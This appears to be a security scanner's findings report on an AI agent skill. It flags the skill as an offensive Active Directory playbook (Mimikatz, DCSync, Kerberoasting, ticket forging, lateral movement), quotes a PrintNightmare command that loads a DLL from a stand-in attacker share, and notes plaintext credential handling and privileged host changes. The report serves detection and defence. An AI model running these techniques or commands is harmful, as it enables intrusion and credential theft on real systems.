E006: Malicious code pattern detected in skill scripts
What this means
Detected high-risk code patterns in the skill content — including its prompts, tool definitions, and resources — such as data exfiltration, backdoors, remote code execution, credential theft, system compromise, supply chain attacks, and obfuscation techniques.
Why it was flagged
Malicious code pattern detected (high risk: 1.00). This content is an explicit offensive playbook that provides step‑by‑step instructions for credential theft (Mimikatz, DCSync, secretsdump), authentication abuse (Kerberoast, AS-REP, NTLM relays), forging Kerberos tickets (Golden/Silver), lateral movement and privilege escalation, and techniques to establish persistent backdoors and remote code execution (GPO/SCCM/WSUS, malicious DLLs, machine account/RBCD abuse), and thus clearly facilitates intentional malicious compromise and data exfiltration.
W007: Insecure credential handling detected in skill instructions
What this means
The skill handles credentials insecurely by requiring the agent to include secret values verbatim in its generated output. This exposes credentials in the agent’s context and conversation history, creating a risk of data exfiltration.
Why it was flagged
Insecure credential handling detected (high risk: 1.00). The skill repeatedly shows and instructs embedding plaintext passwords, hashes, and credentials directly into commands and outputs (e.g., domain:user:password, -p 'password', -hashes :NTHASH), and lists extracted credentials/hashes as deliverables, requiring the LLM to handle and potentially output secret values verbatim.
W012: Unverifiable external dependency detected (runtime URL that controls agent)
What this means
The skill fetches instructions or code from an external URL at runtime, and the fetched content directly controls the agent’s prompts or executes code. This dynamic dependency allows the external source to modify the agent’s behavior without any changes to the skill itself.
Why it was flagged
Potentially malicious external URL detected (high risk: 1.00). The PrintNightmare example invokes a network UNC path \\attacker\share\evil.dll at runtime (python3 CVE-2021-1675.py ... '\\attacker\share\evil.dll'), which is a required external resource that the target will fetch and load to execute remote code, so it meets the criteria for a risky runtime external dependency.
W013: Attempt to modify system services in skill instructions
What this means
The skill prompts the agent to compromise the security or integrity of the user’s machine by modifying system-level services or configurations, such as obtaining elevated privileges, altering startup scripts, or changing system-wide settings.
Why it was flagged
Attempt to modify system services in skill instructions detected (high risk: 1.00). The skill explicitly instructs running privileged operations on the host (e.g., "sudo date -s"), and promotes tools/techniques that require or encourage elevation/bypassing protections (Mimikatz, psexec, secretsdump, faketime, hosting malicious payloads), so it pushes the agent to modify or compromise the machine's state.
